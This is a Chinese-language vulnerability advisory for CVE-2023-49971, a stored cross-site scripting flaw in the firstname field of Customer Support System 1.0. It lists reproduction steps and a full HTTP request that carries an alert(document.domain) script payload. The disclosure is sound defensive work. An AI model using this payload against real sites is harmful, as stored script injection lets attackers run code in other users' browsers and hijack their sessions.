CVE-2023-49971

客户支持系统 1.0 - 在"customer_list"页面的"firstname"字段/参数中存在跨站脚本(XSS)漏洞

描述：客户支持系统 1.0 存在存储型 XSS 漏洞。该漏洞存在于客户支持系统 1 版本中。恶意攻击者可以在编辑/创建客户时，通过"firstname"字段/参数插入 JavaScript 代码。每当访问页面 "/customer_support/index.php?page=customer_list" 时，该代码就会被执行。

受影响产品版本：客户支持系统 1.0
CVE 作者：Geraldo Alcântara
日期：28/11/2023
确认日期：19/12/2023
CVE：CVE-2023-49971
测试平台：Windows

复现步骤：

1. 登录应用程序。
2. 导航至 "/customer_support/index.php?page=customer_list" 编辑现有客户，或 "/customer_support/index.php?page=new_customer" 创建新客户。
3. 创建或编辑客户，将恶意负载插入"firstname"字段/参数。
4. 负载：

请求：

POST /customer_support/ajax.php?action=save_customer HTTP/1.1
Host: 192.168.68.148
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------212391604122778812451614149575
Content-Length: 1149
Origin: http://192.168.68.148
Connection: close
Referer: http://192.168.68.148/customer_support/index.php?page=new_customer
Cookie: csrftoken=1hWW6JE5vLFhJv2y8LwgL3WNPbPJ3J2WAX9F2U0Fd5H5t6DSztkJWD4nWFrbF8ko; sessionid=xrn1sshbol1vipddxsijmgkdp2q4qdgq; PHPSESSID=abige9ar0b1bi3qcf9mkv258o3

-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="id"


-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="firstname"

teste</dt></b><script>alert(document.domain)</script>
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="middlename"


-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="lastname"

xss
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="contact"

210
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="address"

asdasd
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="email"

[email protected]
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="password"

xss
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="cpass"

xss
-----------------------------212391604122778812451614149575--

发现者/致谢：
Geraldo Alcântara